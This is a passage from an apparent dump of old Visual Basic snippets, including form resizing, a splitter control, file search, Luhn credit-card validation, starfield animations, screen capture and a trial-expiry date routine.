\n If WinMax Or FormName.WindowState = 2 Then ' maxim\n FormName.Height = Screen.Height\n FormName.Width = Screen.Width\n Else\n FormName.Height = FormName.Height * Screen.Height / 7290\n FormName.Width = FormName.Width * Screen.Width / 9690\n End If\n \n bFirstTime = True\n \nEnd Sub\nSub FormResize(FormName As Form)\nDim I As Integer, Inc As Integer, CaptionSize As Integer\nDim RatioX As Double, RatioY As Double\nDim SaveRedraw%\nOn Error Resume Next\n \n \n SaveRedraw% = FormName.AutoRedraw\n FormName.AutoRedraw = True\n \n If bFirstTime Then\n bFirstTime = False\n Exit Sub\n End If\n If FormName.Height < iFormHeight / 2 Then FormName.Height = iFormHeight / 2\n If FormName.Width < iFormWidth / 2 Then FormName.Width = iFormWidth / 2\n CaptionSize = 400\n RatioY = 1# * (iFormHeight - CaptionSize) / (FormName.Height - CaptionSize)\n RatioX = 1# * iFormWidth / FormName.Width\nOn Error Resume Next ' for comboboxes, timeres and other nonsizible controls\n For I = 0 To iNumOfControls\n If TypeOf FormName.Controls(I) Is Line Then\n FormName.Controls(I).Y1 = Int(iTop(I) / RatioY)\n FormName.Controls(I).X1 = Int(iLeft(I) / RatioX)\n FormName.Controls(I).Y2 = Int(iHeight(I) / RatioY)\n FormName.Controls(I).X2 = Int(iWidth(I) / RatioX)\n Else\n FormName.Controls(I).Top = Int(iTop(I) / RatioY)\n FormName.Controls(I).Left = Int(iLeft(I) / RatioX)\n FormName.Controls(I).Height = Int(iHeight(I) / RatioY)\n FormName.Controls(I).Width = Int(iWidth(I) / RatioX)\n FormName.Controls(I).FontSize = Int(iFontSize(I) / RatioX) + Int(iFontSize(I) / RatioX) Mod 2\n FormName.Controls(I).RightMargin = Int(iRightMargin(I) / RatioY)\n End If\n Next\n \n FormName.AutoRedraw = SaveRedraw%\nEnd Sub\n"},{"WorldId":1,"id":886,"LineNumber":1,"line":"'*************************************************************************\n'WinKill Form Code\n'*************************************************************************\nPrivate Function Kill(hWnd&) \n Dim Res& ' Ask it politely to close\n Res = SendMessageA(hWnd, WM_CLOSE, 0, 0)\n ' Kill it (just in case)\n Res = SendMessageA(hWnd, WM_DESTROY, 0, 0)\nEnd Function\nPrivate Sub cmdKill_Click()\n Dim hWnd& ' Get the window handle\n hWnd = FindWindowA(vbNullString, txtName.Text) ' Call the kill function\n Kill (hWnd)\nEnd Sub"},{"WorldId":1,"id":891,"LineNumber":1,"line":"Function GetUser()\n ' This function uses a windows dll to query the registry automatically ti return the user name\n Dim sBuffer As String\n Dim lSize As Long\n ' Parameters for the dll declaration are set\n sBuffer = Space$(255)\n lSize = Len(sBuffer)\n Call GetUserName(sBuffer, lSize) ' Call the declared dll function\nIf lSize > 0 Then\n GetUser = Left$(sBuffer, lSize) ' Remove empty spaces\nElse\n GetUser = vbNullString ' Return empty if no user is found\nEnd If\nEnd Function"},{"WorldId":1,"id":892,"LineNumber":1,"line":"Private Sub Command1_Click()\n '-------------------------------------------------------------\n ' Produces a series of X random numbers without repeating any\n '-------------------------------------------------------------\n \n 'Results can be used by using array B(X)\n \n Dim A(10000) ' Sets the maximum number to pick\n Dim B(10000) ' Will be the list of new numbers (same as DIM above)\n Dim Message, Message_Style, Message_Title, Response\n \n 'Set the original array\n MaxNumber = 10000 ' Must equal the DIM above\n For seq = 0 To MaxNumber\n A(seq) = seq\n Next seq\n 'Main Loop (mix em all up)\n StartTime = Timer\n Randomize (Timer)\n For MainLoop = MaxNumber To 0 Step -1\n ChosenNumber = Int(MainLoop * Rnd)\n B(MaxNumber - MainLoop) = A(ChosenNumber)\n A(ChosenNumber) = A(MainLoop)\n Next MainLoop\n \n EndTime = Timer\n TotalTime = EndTime - StartTime\n \n Message = \"The sequence of \" + Format(MaxNumber, \"#,###,###,###\") + \" numbers has been\" + Chr$(10)\n Message = Message + \"mixed up in a total of \" + Format(TotalTime, \"##.######\") + \" seconds!\"\n Message_Style = vbInformationOnly + vbInformation + vbDefaultButton2\n Message_Title = \"Sequence Generated\"\n \n Response = MsgBox(Message, Message_Style, Message_Title)\nEnd Sub"},{"WorldId":1,"id":896,"LineNumber":1,"line":"'General declarations section\n'Sliding Divider between two controls.\n'Written by: Aaron Stephens\n' Midnight Hour Enterprises, 1998.05.21\n'This code may be freely distributed and may be\n'altered in any way shape and form, if the author's\n'name is removed.\n'\n'If this code is used in it's un-altered form,\n'please give me some credit. Thanks.\n'Flag for to tell MouseMove wether the sliding divider\n'has been clicked.\nDim SDActive As Boolean\n'Define the minimum with of the right and left\n'controls.\nConst MinRightWidth = 0\nConst MinLeftWidth = 0\n'End general declarations section\nPrivate Sub Form_Load()\n 'Set the text boxes and sliding divider to their\n 'default parameters. In an adaptation, these\n 'options could be loaded at startup, having been\n 'saved at the last shutdown.\n 'In addition, and controls (tool or status bars)\n 'at the top or bottom of the form would need to\n 'be compensated for. It would be preferable to\n 'use a variable containing the offsets they\n 'produce, instead of hard-coding the values\n 'into every occurance in this form.\n \n TextLeft.Top = 0\n TextLeft.Left = 0\n TextLeft.Width = Me.ScaleWidth * 0.25\n TextLeft.Height = Me.ScaleHeight\n \n SlidingDivider.Top = 0\n SlidingDivider.Left = TextLeft.Width\n SlidingDivider.Width = 30\n SlidingDivider.Height = TextLeft.Height\n TextRight.Top = 0\n TextRight.Left = TextLeft.Width + SlidingDivider.Width\n TextRight.Width = Me.ScaleWidth - TextLeft.Width - SlidingDivider.Width\n TextRight.Height = TextLeft.Height\n \nEnd Sub\nPrivate Sub Form_Resize()\n 'This resizes all controls on the form when the\n 'form itself is resized.\n \n 'Set the sliding divider to be at the same relative\n 'position in the new form size.\n SlidingDivider.Left = CInt(Me.ScaleWidth * (SlidingDivider.Left / (TextLeft.Width + SlidingDivider.Width + TextRight.Width)))\n \n 'Set the left text box's height.\n TextLeft.Height = Me.ScaleHeight\n \n 'Set the left text box's width.\n TextLeft.Width = SlidingDivider.Left\n \n 'Set the sliding divider and the right text box\n 'height to the the same height as the left.\n SlidingDivider.Height = TextLeft.Height\n TextRight.Height = TextLeft.Height\n \n 'Set the right text box to fill the remainder\n 'of the form.\n TextRight.Left = TextLeft.Width + SlidingDivider.Width\n TextRight.Width = Me.ScaleWidth - TextLeft.Width - SlidingDivider.Width\nEnd Sub\nPrivate Sub SlidingDivider_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\n 'This sets a variable to tell the MouseMove routine\n 'that the user has clicked the sliding divider.\n \n If Button = vbLeftButton Then\n SDActive = True\n End If\nEnd Sub\nPrivate Sub SlidingDivider_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)\n 'This sets the sliding divider position to the mouse\n 'position. I does check to make sure the sliding\n 'divider and the objects that adjust to it do not\n 'exceed the legal bounds of the form.\n \n 'If the divider is clicked and the mouse has moved...\n If SDActive = True And CLng(X) <> SlidingDivider.Left Then\n 'Set the DividerPosition\n SlidingDivider.Left = SlidingDivider.Left + (X - (SlidingDivider.Width / 2))\n \n 'Check the bounds of the divider position and\n 'correct if nesecary.\n If SlidingDivider.Left < MinLeftWidth Then SlidingDivider.Left = MinLeftWidth\n If SlidingDivider.Left + SlidingDivider.Width + MinRightWidth >= Me.ScaleWidth Then SlidingDivider.Left = Me.ScaleWidth - SlidingDivider.Width - MinRightWidth\n \n 'Resize the text boxes.\n TextLeft.Width = SlidingDivider.Left\n TextRight.Left = TextLeft.Width + SlidingDivider.Width\n TextRight.Width = Me.ScaleWidth - TextLeft.Width - SlidingDivider.Width\n End If\nEnd Sub\nPrivate Sub SlidingDivider_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)\n 'This calls the MouseMove routine to set the final\n 'sliding divider position the sets a variable to\n 'tell the MouseMove routine that the sliding\n 'divider is no longer clicked.\n \n SlidingDivider_MouseMove Button, Shift, X, Y\n SDActive = False\nEnd Sub\n"},{"WorldId":1,"id":899,"LineNumber":1,"line":"Function AddText(textcontrol As Object, text2add As String)\n On Error GoTo errhandlr\n tmptxt$ = textcontrol.Text 'just in case of an accident\n textcontrol.SelStart = Len(textcontrol.Text) ' move the \"cursor\" to the end of the text file\n textcontrol.SelLength = 0 ' highlight nothing (this becomes the selected text)\n textcontrol.SelText = text2add ' set the selected text ot text2add\n AddText = 1\n GoTo quitt ' goto the end of the sub\n'error handlers\nerrhandlr:\n If Err.Number <> 438 Then 'check the error number and restore the\n textcontrol.Text = tmptxt$ 'original text if the control supports it\n End If\n AddText = 0\n GoTo quitt\nquitt:\n tmptxt$ = \"\"\nEnd Function\n"},{"WorldId":1,"id":900,"LineNumber":1,"line":"Sub FilesSearch(DrivePath As String, Ext As String)\nDim XDir() As String\nDim TmpDir As String\nDim FFound As String\nDim DirCount As Integer\nDim X As Integer\n'Initialises Variables\nDirCount = 0\nReDim XDir(0) As String\nXDir(DirCount) = \"\"\nIf Right(DrivePath, 1) <> \"\\\" Then\n DrivePath = DrivePath & \"\\\"\nEnd If\n'Enter here the code for showing the path being\n'search. Example: Form1.label2 = DrivePath\n'Search for all directories and store in the\n'XDir() variable\nDoEvents\nTmpDir = Dir(DrivePath, vbDirectory)\nDo While TmpDir <> \"\"\n If TmpDir <> \".\" And TmpDir <> \"..\" Then\n If (GetAttr(DrivePath & TmpDir) And vbDirectory) = vbDirectory Then\n XDir(DirCount) = DrivePath & TmpDir & \"\\\"\n DirCount = DirCount + 1\n ReDim Preserve XDir(DirCount) As String\n End If\n End If\n TmpDir = Dir\nLoop\n'Searches for the files given by extension Ext\nFFound = Dir(DrivePath & Ext)\nDo Until FFound = \"\"\n 'Code in here for the actions of the files found.\n 'Files found stored in the variable FFound.\n 'Example: Form1.list1.AddItem DrivePath & FFound\n FFound = Dir\nLoop\n'Recursive searches through all sub directories\nFor X = 0 To (UBound(XDir) - 1)\n FilesSearch XDir(X), Ext\nNext X\nEnd Sub"},{"WorldId":1,"id":902,"LineNumber":1,"line":"Public Function IsValidCCNum(CCNum As String) As Boolean\n Dim i As Integer\n Dim total As Integer\n Dim TempMultiplier As String\n For i = Len(CCNum) To 2 Step -2\n total = total + CInt(Mid$(CCNum, i, 1))\n TempMultiplier = CStr((Mid$(CCNum, i - 1, 1)) * 2)\n total = total + CInt(Left$(TempMultiplier, 1))\n If Len(TempMultiplier) > 1 Then total = total + CInt(Right$(TempMultiplier, 1))\n Next\n If Len(CCNum) Mod 2 = 1 Then total = total + CInt(Left$(CCNum, 1))\n If total Mod 10 = 0 Then\n IsValidCCNum = True\n Else\n IsValidCCNum = False\n End If\nEnd Function"},{"WorldId":1,"id":903,"LineNumber":1,"line":"Public Function CardType(CCNum As String) As String\nDim Header As String\n Select Case Left$(CCNum, 1)\n Case \"5\"\n Header = Left$(CCNum, 2)\n If Header >= 51 And Header <= 55 And Len(CCNum) = 16 Then\n CardType = \"MasterCard\"\n End If\n Case \"4\"\n If Len(CCNum) = 13 Or Len(CCNum) = 16 Then\n CardType = \"Visa\"\n End If\n Case \"3\"\n Header = Left$(CCNum, 3)\n If Header >= 340 And Header <= 379 And Len(CCNum) = 15 Then\n CardType = \"AMEX\"\n End If\n If Header >= 300 And Header <= 305 And Len(CCNum) = 14 Then\n CardType = \"Diners Club\"\n End If\n If Header >= 360 And Header <= 369 And Len(CCNum) = 14 Then\n CardType = \"Diners Club\"\n End If\n If Header >= 380 And Header <= 389 And Len(CCNum) = 14 Then\n CardType = \"Diners Club\"\n End If\n If Header >= 300 And Header <= 399 And Len(CCNum) = 16 Then\n CardType = \"JCB\"\n End If\n Case \"6\"\n Header = Left$(CCNum, 4)\n If Header = \"6011\" And Len(CCNum) = 16 Then\n CardType = \"Discover\"\n End If\n Case \"2\"\n Header = Left$(CCNum, 4)\n If (Header = \"2014\" Or Header = \"2149\") And Len(CCNum) = 15 Then\n CardType = \"enRoute\"\n End If\n If Header = \"2131\" And Len(CCNum) = 15 Then\n CardType = \"JCB\"\n End If\n Case \"1\"\n Header = Left$(CCNum, 4)\n If Header = \"1800\" And Len(CCNum) = 15 Then\n CardType = \"JCB\"\n End If\n End Select\n If CardType = \"\" Then CardType = \"Unknown\"\nEnd Function"},{"WorldId":1,"id":906,"LineNumber":1,"line":"How to draw a moving starfield\nThis example shows how to design a moving star field ,the standard animated background used in most space shoot'em up games.You know,the one that asteroids of all kinds of sizes zip by with various speeds,creating a 3D effect.Here we go: \n1.Create a Timer control. 2.Make these settings through the Properties Window:\n\nForm1.WindowStart = 2\nForm1.Backcolor = &H00000000& (that's black)\nTimer1.Interval = 1\n\n3.The algorythm is kinda complicated to explain in spoken words,so I'll leave it up to you to figer out what's going on. \n\nDim X(50), Y(50), pace(50), size(50) As Integer\nPrivate Sub Form_Activate()\nRandomize\nFor I = 1 To 50\nx1 = Int(Form1.Width * Rnd)\ny1 = Int(Form1.Height * Rnd)\npace1 = Int(500 - (Int(Rnd * 499)))\nsize1 = 16 * Rnd\nX(I) = x1\nY(I) = y1\npace(I) = pace1\nsize(I) = size1\nNext\nEnd Sub\nPrivate Sub Timer1_Timer()\nFor I = 1 To 50\nCircle (X(I), Y(I)), size(I), BackColor\nY(I) = Y(I) + pace(I)\nIf Y(I) >= Form1.Height Then Y(I) = 0: X(I) = Int(Form1.Width * Rnd)\nCircle (X(I), Y(I)), size(I)\nNext\nEnd Sub"},{"WorldId":1,"id":920,"LineNumber":1,"line":"'\nDim X(100), Y(100), Z(100) As Integer\nDim tmpX(100), tmpY(100), tmpZ(100) As Integer\nDim K As Integer\nDim Zoom As Integer\nDim Speed As Integer\nPrivate Sub Form_Activate()\nSpeed = -1\nK = 2038\nZoom = 256\nTimer1.Interval = 1\nFor i = 0 To 100\n X(i) = Int(Rnd * 1024) - 512\n Y(i) = Int(Rnd * 1024) - 512\n Z(i) = Int(Rnd * 512) - 256\nNext i\nEnd Sub\nPrivate Sub Timer1_Timer()\nFor i = 0 To 100\n Circle (tmpX(i), tmpY(i)), 5, BackColor\n Z(i) = Z(i) + Speed\n If Z(i) > 255 Then Z(i) = -255\n If Z(i) < -255 Then Z(i) = 255\n tmpZ(i) = Z(i) + Zoom\n tmpX(i) = (X(i) * K / tmpZ(i)) + (Form1.Width / 2)\n tmpY(i) = (Y(i) * K / tmpZ(i)) + (Form1.Height / 2)\n Radius = 1\n StarColor = 256 - Z(i)\n Circle (tmpX(i), tmpY(i)), 5, RGB(StarColor, StarColor, StarColor)\n \nNext i\nEnd Sub\n"},{"WorldId":1,"id":927,"LineNumber":1,"line":"'Workfile: RS_FORM.BAS\r\n'Created: 06/18/98\r\n'Updated: 06/18/98\r\n'Author: Scott Whitlow\r\n'Description: This module provides the code needed to\r\n' adjust the placement of all controls on\r\n' a form. There are three public subs.\r\n' How to use this module:\r\n' In a forms Resize event type\r\n' ResizeForm Me\r\n' - This will resize all controls\r\n' on the form to match new form size\r\n' You can save a default form size by calling\r\n' SaveFormPosition Me\r\n' You can restore a form to its original size or\r\n' the size that was stored using the StoreFormPosition\r\n' sub by calling\r\n' RestoreFormPosition Me\r\n'Dependencies: None\r\n'Issues: MDIChild forms caused a memory stack overflow error\r\n' Resolved: Code was changed to be more MDIChild aware\r\n' Note: Do not make MDIChild Forms Maximized at design time.\r\n' You may change the WindowState property after the\r\n' Resize event has occured once durring runtime.\r\n' Please E-Mail problems to swhitlow@finishlines.com\r\nOption Explicit\r\nPublic Type ctrObj\r\n Name As String\r\n Index As Long\r\n Parrent As String\r\n Top As Long\r\n Left As Long\r\n Height As Long\r\n Width As Long\r\n ScaleHeight As Long\r\n ScaleWidth As Long\r\nEnd Type\r\nPrivate FormRecord() As ctrObj\r\nPrivate ControlRecord() As ctrObj\r\nPrivate bRunning As Boolean\r\nPrivate MaxForm As Long\r\nPrivate MaxControl As Long\r\nPrivate Function ActualPos(plLeft As Long) As Long\r\n If plLeft < 0 Then\r\n ActualPos = plLeft + 75000\r\n Else\r\n ActualPos = plLeft\r\n End If\r\nEnd Function\r\nPrivate Function FindForm(pfrmIn As Form) As Long\r\nDim i As Long\r\n FindForm = -1\r\n If MaxForm > 0 Then\r\n For i = 0 To (MaxForm - 1)\r\n If FormRecord(i).Name = pfrmIn.Name Then\r\n FindForm = i\r\n Exit Function\r\n End If\r\n Next i\r\n End If\r\nEnd Function\r\nPrivate Function AddForm(pfrmIn As Form) As Long\r\nDim FormControl As Control\r\nDim i As Long\r\n ReDim Preserve FormRecord(MaxForm + 1)\r\n FormRecord(MaxForm).Name = pfrmIn.Name\r\n FormRecord(MaxForm).Top = pfrmIn.Top\r\n FormRecord(MaxForm).Left = pfrmIn.Left\r\n FormRecord(MaxForm).Height = pfrmIn.Height\r\n FormRecord(MaxForm).Width = pfrmIn.Width\r\n FormRecord(MaxForm).ScaleHeight = pfrmIn.ScaleHeight\r\n FormRecord(MaxForm).ScaleWidth = pfrmIn.ScaleWidth\r\n AddForm = MaxForm\r\n MaxForm = MaxForm + 1\r\n For Each FormControl In pfrmIn\r\n i = FindControl(FormControl, pfrmIn.Name)\r\n If i < 0 Then\r\n i = AddControl(FormControl, pfrmIn.Name)\r\n End If\r\n Next FormControl\r\nEnd Function\r\nPrivate Function FindControl(inControl As Control, inName As String) As Long\r\nDim i As Long\r\n FindControl = -1\r\n For i = 0 To (MaxControl - 1)\r\n If ControlRecord(i).Parrent = inName Then\r\n If ControlRecord(i).Name = inControl.Name Then\r\n On Error Resume Next\r\n If ControlRecord(i).Index = inControl.Index Then\r\n FindControl = i\r\n Exit Function\r\n End If\r\n On Error GoTo 0\r\n End If\r\n End If\r\n Next i\r\nEnd Function\r\nPrivate Function AddControl(inControl As Control, inName As String) As Long\r\n ReDim Preserve ControlRecord(MaxControl + 1)\r\n On Error Resume Next\r\n ControlRecord(MaxControl).Name = inControl.Name\r\n ControlRecord(MaxControl).Index = inControl.Index\r\n ControlRecord(MaxControl).Parrent = inName\r\n If TypeOf inControl Is Line Then\r\n ControlRecord(MaxControl).Top = inControl.Y1\r\n ControlRecord(MaxControl).Left = ActualPos(inControl.X1)\r\n ControlRecord(MaxControl).Height = inControl.Y2\r\n ControlRecord(MaxControl).Width = ActualPos(inControl.X2)\r\n Else\r\n ControlRecord(MaxControl).Top = inControl.Top\r\n ControlRecord(MaxControl).Left = ActualPos(inControl.Left)\r\n ControlRecord(MaxControl).Height = inControl.Height\r\n ControlRecord(MaxControl).Width = inControl.Width\r\n End If\r\n inControl.IntegralHeight = False\r\n On Error GoTo 0\r\n AddControl = MaxControl\r\n MaxControl = MaxControl + 1\r\nEnd Function\r\nPrivate Function PerWidth(pfrmIn As Form) As Long\r\nDim i As Long\r\n i = FindForm(pfrmIn)\r\n If i < 0 Then\r\n i = AddForm(pfrmIn)\r\n End If\r\n PerWidth = (pfrmIn.ScaleWidth * 100) \\ FormRecord(i).ScaleWidth\r\nEnd Function\r\nPrivate Function PerHeight(pfrmIn As Form) As Single\r\nDim i As Long\r\n i = FindForm(pfrmIn)\r\n If i < 0 Then\r\n i = AddForm(pfrmIn)\r\n End If\r\n PerHeight = (pfrmIn.ScaleHeight * 100) \\ FormRecord(i).ScaleHeight\r\nEnd Function\r\nPrivate Sub ResizeControl(inControl As Control, pfrmIn As Form)\r\nOn Error Resume Next\r\nDim i As Long\r\nDim widthfactor As Single, heightfactor As Single\r\nDim minFactor As Single\r\nDim yRatio, xRatio, lTop, lLeft, lWidth, lHeight As Long\r\n \r\n yRatio = PerHeight(pfrmIn)\r\n xRatio = PerWidth(pfrmIn)\r\n i = FindControl(inControl, pfrmIn.Name)\r\n If inControl.Left < 0 Then\r\n lLeft = CLng(((ControlRecord(i).Left * xRatio) \\ 100) - 75000)\r\n Else\r\n lLeft = CLng((ControlRecord(i).Left * xRatio) \\ 100)\r\n End If\r\n lTop = CLng((ControlRecord(i).Top * yRatio) \\ 100)\r\n lWidth = CLng((ControlRecord(i).Width * xRatio) \\ 100)\r\n lHeight = CLng((ControlRecord(i).Height * yRatio) \\ 100)\r\n If TypeOf inControl Is Line Then\r\n If inControl.X1 < 0 Then\r\n inControl.X1 = CLng(((ControlRecord(i).Left * xRatio) \\ 100) - 75000)\r\n Else\r\n inControl.X1 = CLng((ControlRecord(i).Left * xRatio) \\ 100)\r\n End If\r\n inControl.Y1 = CLng((ControlRecord(i).Top * yRatio) \\ 100)\r\n If inControl.X2 < 0 Then\r\n inControl.X2 = CLng(((ControlRecord(i).Width * xRatio) \\ 100) - 75000)\r\n Else\r\n inControl.X2 = CLng((ControlRecord(i).Width * xRatio) \\ 100)\r\n End If\r\n inControl.Y2 = CLng((ControlRecord(i).Height * yRatio) \\ 100)\r\n Else\r\n inControl.Move lLeft, lTop, lWidth, lHeight\r\n inControl.Move lLeft, lTop, lWidth\r\n inControl.Move lLeft, lTop\r\n End If\r\nEnd Sub\r\nPublic Sub ResizeForm(pfrmIn As Form)\r\nDim FormControl As Control\r\nDim isVisible As Boolean\r\nDim StartX, StartY, MaxX, MaxY As Long\r\nDim bNew As Boolean\r\nIf Not bRunning Then\r\n bRunning = True\r\n If FindForm(pfrmIn) < 0 Then\r\n bNew = True\r\n Else\r\n bNew = False\r\n End If\r\n If pfrmIn.Top < 30000 Then\r\n isVisible = pfrmIn.Visible\r\n On Error Resume Next\r\n If Not pfrmIn.MDIChild Then\r\n On Error GoTo 0\r\n ' pfrmIn.Visible = False\r\n Else\r\n If bNew Then\r\n StartY = pfrmIn.Height\r\n StartX = pfrmIn.Width\r\n On Error Resume Next\r\n For Each FormControl In pfrmIn\r\n If FormControl.Left + FormControl.Width + 200 > MaxX Then\r\n MaxX = FormControl.Left + FormControl.Width + 200\r\n End If\r\n If FormControl.Top + FormControl.Height + 500 > MaxY Then\r\n MaxY = FormControl.Top + FormControl.Height + 500\r\n End If\r\n If FormControl.X1 + 200 > MaxX Then\r\n MaxX = FormControl.X1 + 200\r\n End If\r\n If FormControl.Y1 + 500 > MaxY Then\r\n MaxY = FormControl.Y1 + 500\r\n End If\r\n If FormControl.X2 + 200 > MaxX Then\r\n MaxX = FormControl.X2 + 200\r\n End If\r\n If FormControl.Y2 + 500 > MaxY Then\r\n MaxY = FormControl.Y2 + 500\r\n End If\r\n Next FormControl\r\n On Error GoTo 0\r\n pfrmIn.Height = MaxY\r\n pfrmIn.Width = MaxX\r\n End If\r\n On Error GoTo 0\r\n End If\r\n For Each FormControl In pfrmIn\r\n ResizeControl FormControl, pfrmIn\r\n Next FormControl\r\n On Error Resume Next\r\n If Not pfrmIn.MDIChild Then\r\n On Error GoTo 0\r\n pfrmIn.Visible = isVisible\r\n Else\r\n If bNew Then\r\n pfrmIn.Height = StartY\r\n pfrmIn.Width = StartX\r\n For Each FormControl In pfrmIn\r\n ResizeControl FormControl, pfrmIn\r\n Next FormControl\r\n End If\r\n End If\r\n On Error GoTo 0\r\n End If\r\n bRunning = False\r\nEnd If\r\nEnd Sub\r\nPublic Sub SaveFormPosition(pfrmIn As Form)\r\nDim i As Long\r\n If MaxForm > 0 Then\r\n For i = 0 To (MaxForm - 1)\r\n If FormRecord(i).Name = pfrmIn.Name Then\r\n FormRecord(i).Top = pfrmIn.Top\r\n FormRecord(i).Left = pfrmIn.Left\r\n FormRecord(i).Height = pfrmIn.Height\r\n FormRecord(i).Width = pfrmIn.Width\r\n Exit Sub\r\n End If\r\n Next i\r\n AddForm (pfrmIn)\r\n End If\r\nEnd Sub\r\nPublic Sub RestoreFormPosition(pfrmIn As Form)\r\nDim i As Long\r\n If MaxForm > 0 Then\r\n For i = 0 To (MaxForm - 1)\r\n If FormRecord(i).Name = pfrmIn.Name Then\r\n If FormRecord(i).Top < 0 Then\r\n pfrmIn.WindowState = 2\r\n ElseIf FormRecord(i).Top < 30000 Then\r\n pfrmIn.WindowState = 0\r\n pfrmIn.Move FormRecord(i).Left, FormRecord(i).Top, FormRecord(i).Width, FormRecord(i).Height\r\n Else\r\n pfrmIn.WindowState = 1\r\n End If\r\n Exit Sub\r\n End If\r\n Next i\r\n End If\r\nEnd Sub\r\n"},{"WorldId":1,"id":937,"LineNumber":1,"line":"' in clsTimer...\nDim start, finish\nPublic Sub StopTimer()\n finish = GetTickCount()\nEnd Sub\nPublic Sub StartTimer()\n start = GetTickCount()\n finish = 0\nEnd Sub\nPublic Sub DebugTrace(v)\n Debug.Print v & \" \" & Elapsed()\nEnd Sub\nPublic Property Get Elapsed()\n If finish = 0 Then\n Elapsed = GetTickCount() - start\n Else\n Elapsed = finish - start\n End If\nEnd Property\n"},{"WorldId":1,"id":948,"LineNumber":1,"line":"Private Sub GrabScreen()\n'I wont format this because this box doesn't allow tabbing, my apologies... \nPicFinal.Cls\nDeleteDC (HwndSrc%)\nHwndSrc% = GetDesktopWindow()\nHSrcDC% = GetDC(HwndSrc%)\n'BitBlt requires coordinates in pixels.\nHDestDC% = PicFinal.HDC\nDWRop& = SRCCOPY\nSuc% = BitBlt(HDestDC%, 0, 0, 1024, 768, HSrcDC%, 0, 0, DWRop&)\nDmy% = ReleaseDC(HwndSrc%, HSrcDC%)\nPicCover.Picture = PicFinal.Image\nDeleteDC (HwndSrc%)\n \nEnd Sub\nPrivate Sub Item2_Click()\nCapture.Hide\nCapture.Visible = False\nGrabScreen\nCapture.Visible = True\nEnd Sub\nPrivate Sub Item3_Click()\nCls\nPicFinal.Cls\nPicCover.Cls\nPicFinal.Refresh\nPicCover.Refresh\nDeleteDC (HwndSrc%)\nEnd Sub\n"},{"WorldId":1,"id":7331,"LineNumber":1,"line":"Public Function FormatFileSize(ByVal dblFileSize As Double, _\n Optional ByVal strFormatMask As String) _\n As String\n' FormatFileSize: Formats dblFileSize in bytes into\n' X GB or X MB or X KB or X bytes depending\n' on size (a la Win9x Properties tab)\nSelect Case dblFileSize\n Case 0 To 1023 ' Bytes\n FormatFileSize = Format(dblFileSize) & \" bytes\"\n Case 1024 To 1048575 ' KB\n If strFormatMask = Empty Then strFormatMask = \"###0\"\n FormatFileSize = Format(dblFileSize / 1024#, strFormatMask) & \" KB\"\n Case 1024# ^ 2 To 1073741823 ' MB\n If strFormatMask = Empty Then strFormatMask = \"###0.0\"\n FormatFileSize = Format(dblFileSize / (1024# ^ 2), strFormatMask) & \" MB\"\n Case Is > 1073741823# ' GB\n If strFormatMask = Empty Then strFormatMask = \"###0.0\"\n FormatFileSize = Format(dblFileSize / (1024# ^ 3), strFormatMask) & \" GB\"\nEnd Select\nEnd Function\n\n"},{"WorldId":1,"id":7335,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":959,"LineNumber":1,"line":"in textbox_keypress\nkeyascii = 0\nin textbox_keydown and textbox_keyup\nkeycode = 0\nIts as simple as that."},{"WorldId":1,"id":994,"LineNumber":1,"line":"\n\nPublic Function TimeDelay(ByVal Delay As Long) As Boolean\nStatic Start As Long\nDim Elapsed As Long\nIf Start = 0 Then 'if start is 0 then set a\n Start = GetTickCount 'Static value to compare\nEnd If\nElapsed = GetTickCount\nIf (Elapsed - Start) >= Delay Then\n TimeDelay = True\n Start = 0 'Remember to reset start\nElse: TimeDelay = False 'once true so subsquent\nEnd If 'calls wont \"spoof\" on you!\nEnd Function\n"},{"WorldId":1,"id":981,"LineNumber":1,"line":"Function TrimVoid(strWhat)\n'*************************\n'Usage: x = TrimVoid(String)\n'*************************\n'Example: Chunk = TrimVoid(Chunk)\n'Filters all non-alphanumeric characters from string \"Chunk\".\n'*************************\nFor i = 1 To Len(strWhat)\nIf Mid(strWhat, i, 1) Like \"[a-zA-Z0-9]\" Then strNew = strNew & Mid(strWhat, i, 1)\nNext\nTrimVoid = strNew\nEnd Function\n'NOTES - replace the above code with the lines below to get the wanted results.\n'For trimming email addresses use this:\n'Like \"[a-zA-Z0-9._-]\"\n'For trimming web addresses use this:\n'Like \"[a-zA-Z0-9._/-]\"\n'To accept only numbers in a text box use this in the text box's Change Sub:\n'Like \"[0-9]\""},{"WorldId":1,"id":973,"LineNumber":1,"line":"Sub Main()\r\nDim OldTitle$\r\n If App.PrevInstance Then\r\n OldTitle = App.Title\r\n App.Title = \"Newapp.exe\"\r\n AppActivate OldTitle\r\n End\r\n End If\r\n Form1.Show\r\nEnd Sub"},{"WorldId":1,"id":1003,"LineNumber":1,"line":"Option Explicit\nDim day1 As Integer\nDim month1 As Integer\nDim basis As Long\nDim schrikbasis As Long\nDim e As Long\nDim year1 As Long\nDim moncode As Integer\nDim ff As Integer\nPrivate Sub Form_Load()\n' Expiredate(tm) 1.2 for freeware. It's usefull for makers of a kind of demo and shareware.\n' Copyright(c) 1998-1999,\n'\n' Expire day, month, year , total day\n' If you will make 30-day trial software then you can put total day\n' Example: day1,month1,year1, 30\n' Support is limited. See to www.tcsoftware.com\n'\nmonth1 = Month(Date)\nyear1 = Year(Date)\nday1 = Day(Date)\nTdate$ = format(Date$, \"DD/MM/YYYY\")\nCall expiredate(day1, month1, year1, 30)\nIf Mid(Tdate$, 7) > year1 Then GoTo diened\nIf Mid(Tdate$, 7) = year1 Then\n If Left(Mid(Tdate$, 4), 2) = month1 Then If Left(Tdate$, 2) > day1 Then GoTo \ndiened\n If Left(Mid(Tdate$, 4), 2) > month1 Then GoTo diened\n end if \ngoto er7\n diened:\n MsgBox \"Old version of Syscal has been expired!\"\ner7:\nLabel1.Caption = Str(day1) + \"-\" + Str(month1) + \"-\" + Str(Year(Date))\nEnd Sub\nSub expiredate(day1 As Integer, month1 As Integer, year1 As Long, expireday As Integer)\nDim moncode As Integer\nDim ff As Long\nDim basis As Long\nDim schrikbasis As Long\nDim e As Long\nday1 = day1 + expireday\nstart:\nmoncode = 1\nFor ff = 1 To 7\n If month1 = moncode Then\n If day1 > 31 Then\n day1 = day1 - 31: month1 = month1 + 1\n If month1 = 13 Then\n year1 = year1 + 1: month1 = 1: GoTo eind\n Else: GoTo eind\n End If\n Else: Exit Sub\nEnd If\nEnd If\nIf moncode = 1 Then moncode = 3: GoTo st1\nIf moncode = 7 Then moncode = 8: 